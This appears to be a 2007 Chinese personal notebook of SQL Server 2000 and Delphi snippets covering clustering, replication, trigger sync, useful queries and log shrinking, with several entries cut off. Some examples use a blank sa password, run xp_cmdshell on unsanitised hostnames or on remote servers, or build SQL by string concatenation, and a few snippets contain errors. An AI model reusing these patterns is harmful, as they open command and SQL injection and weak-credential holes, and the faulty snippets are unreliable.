  9.在“实例名称”屏幕中,选择默认实例或指定命名实例。若要指定命名实例,请先清除“默认”复选框,然后输入命名实例的名称,单击“下一步”按钮。 


  10.在“安装类型”屏幕中选择要安装的安装类型,安装程序自动默认为来自先前所选的组中的第一个可用群集磁盘资源。不过,如果需要指定另一个群集驱动器资源,可在“数据文件”下单击“浏览”按钮,然后指定群集驱动器资源的路径。安装程序将要求选择群集驱动器资源,该资源为正在运行安装程序的节点所拥有,该驱动器也必须是先前所选的群集组成员,单击“下一步”按钮。 


  11.在“服务帐户”屏幕上,选择要在故障转移群集中运行的服务帐户,单击“下一步”按钮。 


  12.在“身份验证模式”对话框中,选择要使用的身份验证模式。如果将选择内容从“Windows 身份验证模式”变为“混合模式(Windows 身份验证和 SQL Server 身份验证)”,则需要输入并确认 sa 登录密码,在“开始复制文件”屏幕上,单击“下一步”按钮。 


  13.在“安装完成”屏幕上,单击“完成”按钮。 


  如果安装程序指示重新启动计算机,则立即这样做。完成安装后,阅读来自安装程序的消息是很重要的。未能重新启动任何指定的节点可能导致将来在故障转移群集中的任何节点上运行安装程序失败。 


  注意: 


  1 两台服务器上的可群集磁盘的磁盘驱动器号必须相同。 

   

  2 SQL Server 2000 可执行文件安装在故障转移群集中每一节点的本地磁盘驱动器上,数据文件放置在先前所选的群集组中的可用群集磁盘资源 
  

 
 2007-9-12 12:57:59    两台Sql server数据同步两台Sql server数据同步 


复制的概念
  
  复制是将一组数据从一个数据源拷贝到多个数据源的技术,是将一份数据发布到多个存储站点上的有效方式。使用复制技术,用户可以将一份数据发布到多台服务器上,从而使不同的服务器用户都可以在权限的许可的范围内共享这份数据。复制技术可以确保分布在不同地点的数据自动同步更新,从而保证数据的一致性。
  
  SQL复制的基本元素包括
  
  出版服务器、订阅服务器、分发服务器、出版物、文章
  
  SQL复制的工作原理
  
  SQL SERVER 主要采用出版物、订阅的方式来处理复制。源数据所在的服务器是出版服务器,负责发表数据。出版服务器把要发表的数据的所有改变情况的拷贝复制到分发服务器,分发服务器包含有一个分发数据库,可接收数据的所有改变,并保存这些改变,再把这些改变分发给订阅服务器
  
  SQL SERVER复制技术类型
  
  SQL SERVER提供了三种复制技术,分别是:
  
  1、快照复制(呆会我们就使用这个)
  2、事务复制
  3、合并复制
  
  只要把上面这些概念弄清楚了那么对复制也就有了一定的理解。接下来我们就一步一步来实现复制的步骤。
  
  第一先来配置出版服务器
  
  (1)选中指定[服务器]节点
  (2)从[工具]下拉菜单的[复制]子菜单中选择[发布、订阅服务器和分发]命令
  (3)系统弹出一个对话框点[下一步]然后看着提示一直操作到完成。
  (4)当完成了出版服务器的设置以后系统会为该服务器的树形结构中添加一个复制监视器。同时也生成一个分发数据库(distribution)
  
  第二创建出版物
  
  (1)选中指定的服务器
  (2)从[工具]菜单的[复制]子菜单中选择[创建和管理发布]命令。此时系统会弹出一个对话框
  (3)选择要创建出版物的数据库,然后单击[创建发布]
  (4)在[创建发布向导]的提示对话框中单击[下一步]系统就会弹出一个对话框。对话框上的内容是复制的三个类型。我们现在选第一个也就是默认的快照发布(其他两个大家可以去看看帮助)
  (5)单击[下一步]系统要求指定可以订阅该发布的数据库服务器类型,SQLSERVER允许在不同的数据库如 ORACLE或ACCESS之间进行数据复制。但是在这里我们选择运行"SQL SERVER 2000"的数据库服务器
  (6)单击[下一步]系统就弹出一个定义文章的对话框也就是选择要出版的表
  (7)然后[下一步]直到操作完成。当完成出版物的创建后创建出版物的数据库也就变成了一个共享数据库。


第三设计订阅
  
  (1)选中指定的订阅服务器
  (2)从[工具]下拉菜单中选择[复制]子菜单的[请求订阅]
  (3)按照单击[下一步]操作直到系统会提示检查SQL SERVER代理服务的运行状态,执行复制操作的前提条件是SQL SERVER代理服务必须已经启动。
  (4)单击[完成]。完成订阅操作。
  
  完成上面的步骤其实复制也就是成功了。但是如何来知道复制是否成功了呢?这里可以通过这种方法来快速看是否成功。展开出版服务器下面的复制——发布内容——右键发布内容——属性——击活——状态然后点立即运行代理程序接着点代理程序属性击活调度把调度设置为每一天发生,每一分钟,在0:00:00和23:59:59之间。接下来就是判断复制是否成功了打开C:\Program Files\Microsoft SQL Server\MSSQL\REPLDATA\unc\XIAOWANGZI_database_database下面看是不是有一些以时间做为文件名的文件夹差不多一分中就产生一个。要是你还不信的话就打开你的数据库看在订阅的服务器的指定订阅数据库下看是不是看到了你刚才所发布的表—
一个手工同步的方案
  
  --定时同步服务器上的数据
  
  --例子:
  
  --测试环境,SQL Server2000,远程服务器名:xz,用户名为:sa,无密码,测试数据库:test
  
  --服务器上的表(查询分析器连接到服务器上创建)
  
  create table [user](id int primary key,number varchar(4),name varchar(10))
  go
  
  --以下在局域网(本机操作)
  
  --本机的表,state说明:null 表示新增记录,1 表示修改过的记录,0 表示无变化的记录
  
  if exists (select * from dbo.sysobjects where id = object_id(N'[user]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
  drop table [user]
  GO
  create table [user](id int identity(1,1),number varchar(4),name varchar(10),state bit)
  go
  
  --创建触发器,维护state字段的值
  
  create trigger t_state on [user]
  after update
  as
  update [user] set state=1
  from [user] a join inserted b on a.id=b.id
  where a.state is not null
  go
  
  --为了方便同步处理,创建链接服务器到要同步的服务器
  
  --这里的远程服务器名为:xz,用户名为:sa,无密码
  
  if exists(select 1 from master..s 

 
 2007-9-12 12:59:38    解决SQL命令单引号问题{-------------------------------------------------------------------------------
  过程名:    vartosql
  作者:      cxg
  日期:      2007.09.11
  参数:      value: variant
  返回值:    string
  todo:      解决SQL命令单引号问题
             函数一旦发现字符串中有单引号出现,就在前面补上一个单引号
             一旦SQL语句的查询条件的变量有单引号出现,数据库引擎就会报错指出SQL语法不对
-------------------------------------------------------------------------------}
function vartosql(value: variant): string;

implementation

function vartosql(value: variant): string;
begin
  if varisnull(value) then
    Result := 'NULL'
  else
    case vartype(value) of
      vardate:
        Result := Quotedstr(Datetimetostr(vartodatetime(value)));
      varString, varOlestr:
        Result := Quotedstr(Trim(Vartostr(value)));
      varboolean:
        begin
          if value then
            result := '1'
          else
            result := '0';
        end;
    else
      Result := quotedstr(Trim(Vartostr(value)));
    end;
end; 

 
 2007-9-12 13:02:58    同步两个Sql server同步两个Sql server 


如何同步两个SQLServer数据库的内容?
程序代码可以有版本管理CVS进行同步管理,可是数据库同步就非常麻烦,只能自己改了一个后再去改另一个,如果忘记了更改另一个经常造成两个数据库的结构或内容上不一致。各位有什么好的方法吗? 

  分发与复制 

  用强制订阅实现数据库同步操作 
  大量和批量的数据可以用数据库的同步机制处理:
  //
  说明:
  为方便操作,所有操作均在发布服务器(分发服务器)上操作,并使用推模式
  在客户机器使用强制订阅方式。
  有疑问联系作者:zlp321001@hotmail.com

  测试通过

  //
  --1:环境
  服务器环境:
  机器名称: ZehuaDb 
  操作系统:Windows 2000 Server
  数据库版本:SQL 2000 Server 个人版

  客户端
  机器名称:Zlp
  操作系统:Windows 2000 Server
  数据库版本:SQL 2000 Server 个人版

  --2:建用户帐号
  在服务器端建立域用户帐号
  我的电脑管理->本地用户和组->用户->建立 
  UserName:zlp
  UserPwd:zlp

  --3:重新启动服务器MSSQLServer
  我的电脑->控制面版->管理工具->服务->MSSQLServer 服务
  (更改为:域用户帐号,我们新建的zlp用户 .\zlp,密码:zlp) 

  --4:安装分发服务器
  A:配置分发服务器
  工具->复制->配置发布、订阅服务器和分发->下一步->下一步(所有的均采用默认配置)
  B:配置发布服务器
  工具->复制->创建和管理发布->选择要发布的数据库(SZ)->下一步->快照发布->下一步->
  选择要发布的内容->下一步->下一步->下一步->完成
  C:强制配置订阅服务器(推模式,拉模式与此雷同)
   

工具->复制->配置发布、订阅服务器和分发->订阅服务器->新建->SQL     Server数据库->输入客户端**********(ZLP)->使用SQL Server 身份验证  (sa,空密码)->确定->应用->确定
  D:初始化订阅
  复制监视器->发布服务器(ZEHUADB)->双击订阅->强制新建->下一步->选择启用的订阅服务器->ZLP->
  下一步->下一步->下一步->下一步->完成

  --5:测试配置是否成功
  复制监视器->发布服务器(ZEHUADB)->双击SZ:SZ->点状态->点立即运行代理程序
  查看:
复制监视器->发布服务器(ZEHUADB)->SZ:SZ->选择ZLP:SZ(类型强制)->鼠标右键->启动同步处理
如果没有错误标志(红色叉),恭喜您配置成功

  --6:测试数据
  --在服务器执行:
选择一个表,执行如下SQL
insert into WQ_NEWSGROUP_S select '测试成功',5

  复制监视器->发布服务器(ZEHUADB)->SZ:SZ->快照->启动代理程序
                                      ->ZLP:SZ(强制)->启动同步处理

  去查看同步的 WQ_NEWSGROUP_S 是否插入了一条新的记录

  测试完毕,通过。


  --7修改数据库的同步时间,一般选择夜晚执行数据库同步处理
(具体操作略) :D

  /*
  注意说明:

  服务器一端不能以(local)进行数据的发布与分发,需要先删除注册,然后新建注册本地计算机名称

  卸载方式:工具->复制->禁止发布->是在"ZehuaDb"上静止发布,卸载所有的数据库同步配置服务器

  注意:发布服务器、分发服务器中的SQLServerAgent服务必须启动
      采用推模式: "D:\Microsoft SQL Server\MSSQL\REPLDATA\unc" 目录文件可以不设置共享
      拉模式:则需要共享'!

  */

   

少量数据库同步可以采用触发器实现,同步单表即可。

  配置过程中可能出现的问题

  在SQL Server 2000里设置和使用数据库复制之前,应先检查相关的几台SQL Server服务器下面几点是否满足:
    
  1、MSSQLserver和Sqlserveragent服务是否是以域用户身份启动并运行的(.\administrator用户也是可以的)
    
  如果登录用的是本地系统帐户local,将不具备网络功能,会产生以下错误:
        
        进程未能连接到Distributor '@Server name' 
        
      (如果您的服务器已经用了SQL Server全文检索服务, 请不要修改MSSQLserver和Sqlserveragent服务的local启动。
       会照成全文检索服务不能用。请换另外一台机器来做SQL Server 2000里复制中的分发服务器。)    
        
      修改服务启动的登录用户,需要重新启动MSSQLserver和Sqlserveragent服务才能生效。    
        
    2、检查相关的几台SQL Server服务器是否改过名称(需要srvid=0的本地机器上srvname和datasource一样)
    
       在查询分析器里执行:
         use master
         select srvid,srvname,datasource from sysservers    
         
       如 

 
 2007-9-12 13:07:20    SQL高手篇:精妙SQL语句介绍SQL高手篇:精妙SQL语句介绍 


1. 说明:复制表(只复制结构,源表名:a,新表名:b) 

SQL: select * into b from a where 1<>1; 

2. 说明:拷贝表(拷贝数据,源表名:a,目标表名:b) 















SQL: insert into b(a, b, c) select d, e, f from b; 

3. 说明:显示文章、提交人和最后回复时间 

SQL: select a.title, a.username, b.adddate 
     from table a,(
          select max(adddate) adddate 
          from table where table.title=a.title) b  
 


4. 说明:外连接查询(表名1:a,表名2:b) 

SQL: select a.a, a.b, a.c, b.c, b.d, b.f 
     from a LEFT OUT JOIN b ON a.a = b.c;  
 


5. 说明:日程安排提前五分钟提醒 

SQL: select * 
     from 日程安排 
     where datediff(''minute'', f开始时间, getdate())>5   
 
   

6. 说明:两张关联表,删除主表中已经在副表中没有的信息 

SQL: delete from info 
     where not exists(
           select * 
           from infobz 
           where info.infid=infobz.infid );
 


7. 说明:—— 

SQL: SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE 
     FROM TABLE1,(SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE 
                  FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND 
                        FROM TABLE2 
                        WHERE TO_CHAR(UPD_DATE,''YYYY/MM'') = 
                              TO_CHAR(SYSDATE, ''YYYY/MM'')) X, 
                       (SELECT NUM, UPD_DATE, STOCK_ONHAND 
                        FROM TABLE2 
                        WHERE TO_CHAR(UPD_DATE,''YYYY/MM'') = 
                              TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, ''YYYY/MM'') 
                              || ''/01'',''YYYY/MM/DD'') - 1, ''YYYY/MM'') ) Y, 
                   WHERE X.NUM = Y.NUM (+)AND X.INBOUND_QTY 
                                 + NVL(Y.STOCK_ONHAND,0) <> X.STOCK_ONHAND ) B 
                   WHERE A.NUM = B.NUM; 
 
   

8. 说明:—— 

SQL: select * 
     from studentinfo 
     where not exists(select * from student where studentinfo.id=student.id) 
           and 系名称=''"&strdepartmentname&"''
           and 专业名称=''"&strprofessionname&"''
     order by 性别, 生源地, 高考总成绩;
 

  

 
 2007-9-12 13:17:19    使用 UNION 运算符组合多个结果使用 UNION 运算符组合多个结果
UNION 运算符使您得以将两个或多个 SELECT 语句的结果组合成一个结果集。使用 UNION 组合的结果集都必须具有相同的结构。而且它们的列

数必须相同,并且相应的结果集列的数据类型必须兼容。有关更多信息,请参见 UNION 运算符使用指南。

UNION 的指定方式如下:

select_statement UNION [ALL] select_statement

例如,Table1 和 Table2 具有相同的两列结构。

Table1     Table2   
ColumnA ColumnB   ColumnC ColumnD 
char(4) int   char(4) int 
------- ---   ------- --- 
abc 1   ghi 3 
def 2   jkl 4 
ghi 3   mno 5 



下面的查询在这两个表之间创建 UNION 运算:

SELECT * FROM Table1
UNION
SELECT * FROM Table2

下面是结果集:

ColumnA  ColumnB
-------  --------
abc      1
def      2
ghi      3
jkl      4
mno      5

UNION 的结果集列名与 UNION 运算符中第一个 SELECT 语句的结果集中的列名相同。另一个 SELECT 语句的结果集列名将被忽略。

默认情况下,UNION 运算符从结果集中删除重复的行。如果使用 ALL 关键字,那么结果中将包含所有行并且将不删除重复的行。 

UNION 运算的准确结果取决于安装过程中选择的排序规则和 ORDER BY 子句。有关不同排序规则的效果的更多信息,请参见 SQL Server 排序

规则基础知识。

Transact-SQL 语句中可以出现任意数目的 UNION 运算符,例如:

SELECT * FROM TableA
UNION
SELECT * FROM TableB
UNION
SELECT * FROM TableC
UNION
SELECT * FROM TableD

默认情况下,Microsoft® SQL Server™ 2000 从左到右对包含 UNION 运算符的语句进行取值。使用圆括号指定求值的顺序。例如,以下语句并

不等价:

/* First statement. */
SELECT * FROM TableA
UNION ALL
(   SELECT * FROM TableB
   UNION
   SELECT * FROM TableC
)
GO

/* Second statement. */
(SELECT * FROM TableA
 UNION ALL
 SELECT * FROM TableB
)
UNION
SELECT * FROM TableC)
GO

在第一个语句中,将消除 TableB 和 TableC 之间的联合中的重复行。而在该集与 TableA 之间的并集中,不消除重复行。在第二个语句中,

TableA 和 TableB 之间的联合中包含重复行,但在随后与 TableC 的联合中将消除。ALL 关键字对此表达式的最终结果没有影响。

如果使用 UNION 运算符,那么单独的 SELECT 语句不能包含其自己的 ORDER BY 或 COMPUTE 子句。只能在最后一个 SELECT 语句的后面使用

一个 ORDER BY 或 COMPUTE 子句;该子句适用于最终的组合结果集。GROUP BY 和 HAVING 子句只能在单独的 SELECT 语句中指定。 

 
 2007-9-18 14:40:40    在SQLServer上得到客户端信息(操作的数据库名,计算机名,用户名,网卡物理地址,IP地址,程序名)在SQLServer上得到客户端信息(操作的数据库名,计算机名,用户名,网卡物理地址,IP地址,程序名)

 

create proc p_getlinkinfo
@dbname sysname=null,--要查询的数据库名,默认查询所有数据库的连接信息
@includeip bit=0--是否显示IP地址,因为查询IP地址比较费时,所以增加此控制
as
declare @dbid int
set @dbid=db_id(@dbname)

create table #tb(id int identity(1,1),dbname sysname,hostname nchar(128),loginname nchar(128),net_address nchar(12),net_ip nvarchar(15),prog_name nchar(128))
insert into #tb(hostname,dbname,net_address,loginname,prog_name)
select distinct hostname,db_name(dbid),net_address,loginame,program_name from master..sysprocesses
where hostname<>'' and (@dbid is null or dbid=@dbid)

if @includeip=0 goto lb_show  --如果不显示IP地址,就直接显示

declare @sql varchar(500),@hostname nchar(128),@id int
create table #ip(hostname nchar(128),a varchar(200))
declare tb cursor local for select distinct hostname from #tb
open tb
fetch next from tb into @hostname
while @@fetch_status=0
begin
set @sql='ping '+@hostname+' -a -n 1 -l 1'
insert #ip(a) exec master..xp_cmdshell @sql
update #ip set hostname=@hostname where hostname is null
fetch next from tb into @hostname
end

update #tb set net_ip=left(a,patindex('%:%',a)-1)
from #tb a inner join (
select hostname,a=substring(a,patindex('Ping statistics for %:%',a)+20,20) from #ip
where a like 'Ping statistics for %:%') b on a.hostname=b.hostname

lb_show:
select id,数据库名=dbname,客户机名=hostname,用户名=loginname
,网卡物理地址=net_address,IP地址=net_ip,应用程序名称=prog_name from #tb
GO



//显示所有本机的连接信息:
exec p_getlinkinfo
//显示所有本机的连接信息,包含ip地址:
exec p_getlinkinfo @includeip=1
//显示连接指定数据库的信息:
exec p_getlinkinfo @dbname=表名,@includeip=1  

 
 2007-9-30 11:01:28    数据迁移时如何清空日志文件清空日志文件
  问题的引出:我们的切割过程就是将单据数据中某个日期以前的数据先复制到新的数据库中(select ... into ...),然后再将原来数据库中的这些数据删除,这样操作在数量量很大的数据库上时,其日志文件的增长也是惊人的:我复制一个48万条记录的表时,最后发现仅这一个表的操作就使新数据库的日志文件增加了170MB,如果不加清理,那就会被日志文件占用大量宝贵的磁盘空间。况且,我们转移到的新建数据库的作用也只是用来查询,以后不会有任何Insert、Update、Delete操作的,要这些日志文件没有什么用处,因此必须在向它转移数据的过程中做一些缩小日志文件的处理,怎么办??问题由此而生...

处理过程中不记录日志

  设置方法如下:企业管理器中打开对应数据库的“属性”,页框“选项”中将“模型”改为“简单”。这样设置的结果是对此数据库的任何操作都将不记录事务日志。对应SQL为:EXEC sp_dboption @pdbName, 'trunc. log on chkpt.', 'TRUE'

  但是,我们经过测试发现:启用此功能后,我们在对这个数据库操作时,就不能用事务操作了,程序执行到BeginTranSaction时就报错,不能执行下去,由于我们不能在对此库的操作中保证100%的正确性,因此我们还需要事务,因此这种方法适用空间有限,也不能满足我们程序的需求。

  我们还得继续查找.....

(2)处理过程中允许记录日志,但要对日志文件进行处理,时时缩小它。

  SQL Server的联机帮助告诉我们:

  在下列情况下,日志文件的物理大小将减少:

  执行 DBCC SHRINKDATABASE 语句时。

  执行引用日志文件的 DBCC SHRINKFILE 语句时。

  自动收缩操作发生时。

  下面我们逐个分析这三个方案:

  ① DBCC SHRINKDATABASE:收缩特定数据库的所有数据和日志文件,包含我们的需求,但也大于我们的需求,此方案可用,但不要着急,给人的感觉是买了一件能穿的衣服,但尺寸大了些,穿在身上有点不舒服,我们接着分析以下两个方案...

  ② DBCC SHRINKFILE: 收缩相关数据库的指定数据文件或日志文件大小。与方案1的区别仅一字之差:“和”与“或”,相当于把方案1拆成两步来执行,我们需要的就是收缩日志文件,因此,它对我们来说显得比较合适,有点量体裁衣的感觉。但还有没有更好的呢,我们来看第三个方案...

  ③自动收缩:数据库也可设置为按给定的时间间隔自动收缩,服务器定期检查每个数据库中的空间使用情况。如果发现数据库中有大量闲置空间,而且它的 autoshrink 选项设置为 true,SQL Server 就缩小该数据库中的文件大小。它是周期性的执行DBCC SHRINKDATABASE,既然方案1已经是一件尺寸大了一些的衣服,则此方案就相当于又穿上了N件大尺寸衣服,一件就已经够了,我还要那么多干嘛呢??

  综合对比发现,方案2正是我们需要的。

  DBCC SHRINKFILE ('+Trim(edDBMC.Text)+'_Log, TRUNCATEONLY)

  经过这个语句处理以后,日志文件将回到它的最小状态504KB,任何的日志记录都将清空。

  再结合我们的工具,复制完一个表之后,我们就执行方案2,处理过程中日志文件暂时占用的最大空间也就是处理最大数据表时产生的日志空间,但最后都将清空,显示为500多KB,相对于庞大的数据文件而言,微之戡微. 

 
 2007-9-30 14:51:59    DTS编程KeyLife富翁笔记  
作者 : china_peng
标题 : 用SQL 2000数据库中的DTS包导入数据 
关键字: DTSImport 
分类 : 个人专区 
密级 : 公开 
(评分: , 回复: 0, 阅读: 19) »» 
//调用SQL Server2000数据库中的DTS包导入数据,速度较快
//(参考BDS 4 Import ActiveX.txt)
//Comonent ->  Import Componet->Import Type Library
//Microsoft DTSDataPump Scripting Object Library  =>DTSPump_TLB
//Microsoft DTSPackage Object Library   =>DTS_TLB
//发布到没有安装SQL Server 2000的机器时,应发布
//dts复制数据所需的dll文件
//dtspkg.dll
//dtspkg.rll
//dtspump.dll
//dtspump.rll
//sqlresld.dll
//并注册以下dtspkg.dll ,dtspump.dll
//命令提示符中regsvr32 path+dtspkg.dll
//命令提示符中regsvr32 path+dtspump.dll

{
调用示例
 //调用DTS包导入数据
  frmDTSImport := TfrmDTSImport.Create(nil);
  try
    frmDTSImport._S_DataSource := strAcs_A_DataSource;
    frmDTSImport._S_Catalog := '';
    frmDTSImport._S_UserID := strAcs_A_UserId;
    frmDTSImport._S_Password := strAcs_A_Password;
    frmDTSImport._S_SourceSQLStatement := 'select * from BOM_IM';
    frmDTSImport._D_DataSource := strSQL_DataSource;
    frmDTSImport._D_Catalog := strSQL_DataBase;
    frmDTSImport._D_UserID := strSQL_UserId;
    frmDTSImport._D_Password := strSQL_Password;

    //AS400成品、料件资料
    frmDTSImport._D_DestinationObjectName := 'BOM_IM';

    frmDTSImport.Show;
    frmDTSImport.Update;
    frmDTSImport.RunTransfer(dm.adcn);
    frmDTSImport.Close;
}
unit untDTSImport;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, DTS_TLB, DTSPump_TLB, DTSEvents, ComCtrls, ADODB, jpeg,
  ExtCtrls, DB;

type
  TfrmDTSImport = class(TForm)
    DTSPackageEvents1: TDTSPackageEvents;
    Label1: TLabel;
    Label2: TLabel;
    Image1: TImage;
    adp_proc_check_fields: TADOStoredProc;
    procedure FormCreate(Sender: TObject);
    function DTSPackageEvents1Progress(Sender: TObject; const EventSource,
      ProgressDescription: WideString; PercentComplete, ProgressCountLow,
      ProgressCountHigh: Integer): HRESULT;

  private
    { Private declarations }
    F_S_Driver, F_S_DataSource, F_S_Catalog, F_S_UserID, F_S_Password, F_S_SourceSQLStatement: string;
    F_D_Driver, F_D_DataSource, F_D_Catalog, F_D_UserID, F_D_Password, F_D_DestinationObjectName: string;
    F_S_CnnStr, F_D_CnnStr, F_S_strSQL, F_D_strSQL: string;
    procedure oCustomTask2_Trans_S1(oCustomTask2: DataPumpTask2);
    procedure tracePackageError(oPackage: Package);
  public
    { Public declarations }
    //DTS数据源的数据来源驱动类型 [MSDASQL->ODBC],[SQLOLEDB->SQL server],['Microsoft.Jet.OLEDB.4.0'->ACCESS或Excel]
    property _S_Driver: string read F_S_Driver write F_S_Driver;
    property _S_DataSource: string read F_S_DataSource write F_S_DataSource;
    property _S_Catalog: string read F_S_Catalog write F_S_Catalog;
    property _S_UserID: string read F_S_UserID write F_S_UserID;
    property _S_Password: string read F_S_Password write F_S_Password;
    property _S_SourceSQLStatement: string read F_S_SourceSQLStatement write F_S_SourceSQLStatement;

    property _D_Driver: string read F_D_Driver write F_D_Driver;
    property _D_DataSource: string read F_D_DataSource write F_D_DataSource;
    property _D_Catalog: string read F_D_Catalog write F_D_Catalog;
    property _D_UserID: string read F_D_UserID write F_D_UserID;
    property _D_Password: string read F_D_Password write F_D_Password;
    property _D_DestinationObjectName: string read F_D_DestinationObjectName write F_D_DestinationObjectName;
   //2007-01-13 增加 _S_CnnStr,_S_strSQL,_D_CnnStr,_D_strSQL 检查来源表与目的表的字段数是否一致
   //源数据库ConnectionString
    property _S_CnnStr: string read F_S_CnnStr write F_S_CnnStr;
    //源表SQL语句
    property _S_strSQL: string read F_S_strSQL write F_S_strSQL;
    //目的数据库ConnectionString
    property _D_CnnStr: string read F_D_CnnS 

 
 2007-10-9 9:28:11    使用osql执行sql脚本@echo off
echo              ╬ ╱◥███◣╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬ 
echo              ╬ ︱田︱田 田 ︱                      ╬
echo              ╬            绿色佳软                          ╬
echo              ╬  Copyright (c) 咏南工作室                    ╬
echo              ╬  Author:   陈新光                            ╬
echo              ╬    ToDo:   安装数据库                        ╬
echo              ╬    Date:   2006.11.10                        ╬
echo              ╬    Note:   安装SQL SERVER 2000               ╬
echo              ╬            数据库名:ynpos                   ╬
echo              ╬            数据库文件将安装到c:\yndata目录   ╬
echo              ╬            终止操作,请按ctrl+c键            ╬  
echo              ╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬╬
pause
md c:\yndata
osql -U sa -P -i createdb.sql 

 
 2007-10-10 16:44:33    取SQLSERVER服务器上的时间procedure TForm1.btn1Click(Sender: TObject);
begin
  try
    qry1.SQL.Text:='select GETDATE()';
    qry1.Open;
    edt1.Text:=qry1.Fields[0].AsString;
  finally
    qry1.Close;
  end;    
end; 

 
 2007-12-25 11:02:25    -- ======================================================

--列出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息

--在查询分析器里运行即可,可以生成一个表,导出到EXCEL中

-- ======================================================

SELECT 

       (case when a.colorder=1 then d.name else '' end)表名,

       a.colorder 字段序号,

       a.name 字段名,

       (case when COLUMNPROPERTY( a.id,a.name,'IsIdentity')=1 then '√'else '' end) 标识,

       (case when (SELECT count(*)

       FROM sysobjects

       WHERE (name in

                 (SELECT name

                FROM sysindexes

                WHERE (id = a.id) AND (indid in

                          (SELECT indid

                         FROM sysindexkeys

                         WHERE (id = a.id) AND (colid in

                                   (SELECT colid

                                  FROM syscolumns

                                  WHERE (id = a.id) AND (name = a.name))))))) AND

              (xtype = 'PK'))>0 then '√' else '' end) 主键,

       b.name 类型,

       a.length 占用字节数,

       COLUMNPROPERTY(a.id,a.name,'PRECISION') as 长度,

       isnull(COLUMNPROPERTY(a.id,a.name,'Scale'),0) as 小数位数,

       (case when a.isnullable=1 then '√'else '' end) 允许空,

       isnull(e.text,'') 默认值,

       isnull(g.[value],'') AS 字段说明    


FROM  syscolumns  a left join systypes b 

on  a.xtype=b.xusertype

inner join sysobjects d 

on a.id=d.id  and  d.xtype='U' and  d.name<>'dtproperties'

left join syscomments e

on a.cdefault=e.id

left join sysproperties g

on a.id=g.id AND a.colid = g.smallid  

order by a.id,a.colorder

-------------------------------------------------------------------------------------------------







列出SQL SERVER 所有表、字段定义,类型,长度,一个值等信息

并导出到Excel 中

-- ======================================================

-- Export all user tables definition and one sample value

-- jan-13-2003,Dr.Zhang

-- ======================================================

在查询分析器里运行:

SET ANSI_NULLS OFF 

GO

SET NOCOUNT ON

GO


SET LANGUAGE 'Simplified Chinese'

go

DECLARE @tbl nvarchar(200),@fld nvarchar(200),@sql nvarchar(4000),@maxlen int,@sample nvarchar(40)


SELECT d.name TableName,a.name FieldName,b.name TypeName,a.length Length,a.isnullable IS_NULL INTO #t

FROM  syscolumns  a,  systypes b,sysobjects d  

WHERE  a.xtype=b.xusertype  and  a.id=d.id  and  d.xtype='U' 


DECLARE read_cursor CURSOR

FOR SELECT TableName,FieldName FROM #t


SELECT TOP 1 '_TableName                     ' TableName,

            'FieldName                      ' FieldName,'TypeName             ' TypeName,

            'Length' Length,'IS_NULL' IS_NULL, 

            'MaxLenUsed' AS MaxLenUsed,'Sample Value          ' Sample,

             'Comment   ' Comment INTO #tc FROM #t


OPEN read_cursor


FETCH NEXT FROM read_cursor INTO @tbl,@fld

WHILE (@@fetch_status <> -1)  --- failes

BEGIN

       IF (@@fetch_status <> -2) -- Missing

       BEGIN

              SET @sql=N'SET @maxlen=(SELECT max(len(cast('+@fld+' as nvarchar))) FROM '+@tbl+')'

              --PRINT @sql

              EXEC SP_EXECUTESQL @sql,N'@maxlen int OUTPUT',@maxlen OUTPUT

              --print @maxlen

              SET @sql=N'SET @sample=(SELECT TOP 1 cast('+@fld+' as nvarchar) FROM '+@tbl+' WHERE len(cast('+@fld+' as nvarchar))='+convert(nvarchar(5),@maxlen)+')'

              EXEC SP_EXECUTESQL @sql,N'@sample varchar(30) OUTPUT',@sample OUTPUT

              --for quickly   

              --SET @sql=N'SET @sample=convert(varchar(20),(SELECT TOP 1 '+@fld+' FROM '+

                     --@tbl+' order by 1 desc ))'  

              PRINT @sql

              print @sample

              print @tbl

              EXEC SP_EXECUTESQL @sql,N' 

 
 2007-12-25 15:33:51    即时同步两个表的实例:

--测试环境:SQL2000,远程主机名:xz,用户名:sa,密码:无,数据库名:test

--创建测试表,不能用标识列做主键,因为不能进行正常更新
--在本机上创建测试表,远程主机上也要做同样的建表操作,只是不写触发器
if exists (select * from dbo.sysobjects where id = object_id(N'[test]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
drop table [test]

create table test(id int not null constraint PK_test primary key
 ,name varchar(10))
go

--创建同步的触发器
create trigger t_test on test
for insert,update,delete
as
set  XACT_ABORT on
--启动远程服务器的MSDTC服务
exec master..xp_cmdshell 'isql /S"xz" /U"sa" /P"" /q"exec master..xp_cmdshell ''net start msdtc'',no_output"',no_output

--启动本机的MSDTC服务
exec master..xp_cmdshell 'net start msdtc',no_output

--进行分布事务处理,如果表用标识列做主键,用下面的方法
BEGIN DISTRIBUTED TRANSACTION
delete from openrowset('sqloledb','xz';'sa';'',test.dbo.test)
 where id in(select id from deleted)
insert into openrowset('sqloledb','xz';'sa';'',test.dbo.test)
 select * from inserted
commit tran
go

--插入数据测试
insert into test
select 1,'aa'
union all select 2,'bb'
union all select 3,'c'
union all select 4,'dd'
union all select 5,'ab'
union all select 6,'bc'
union all select 7,'ddd'

--删除数据测试
delete from test where id in(1,4,6)

--更新数据测试
update test set name=name+'_123' where id in(3,5)

--显示测试的结果
select * from test a full join
openrowset('sqloledb','xz';'sa';'',test.dbo.test) b on a.id=b.id 

 
 2007-12-28 10:13:00    sp_Exec.Parameters.Clear;
    sp_Exec.ProcedureName := 'sp_TransTo';
    sp_Exec.Parameters.CreateParameter('@mailId', ftString, pdInput, 50, MailId);
    sp_Exec.Parameters.CreateParameter('@Result', ftInteger, pdOutput, 0, rowID);
    sp_Exec.ExecProc;  

 
 2007-12-28 10:19:02    ADOQuery 执行存储过程并取的输出参数  
2005-09-06 13:02:06  
 
写这个只是为了将来自查用的,呵呵,当然,不会的人也可以看看
第一步建立proc
create proc MyABC @a int ,@b int, @c int output 
as
  set @c=@a*@b

在SQL中执行:

declare @a int,@b int,@c int 
set @a=250
set @b=40
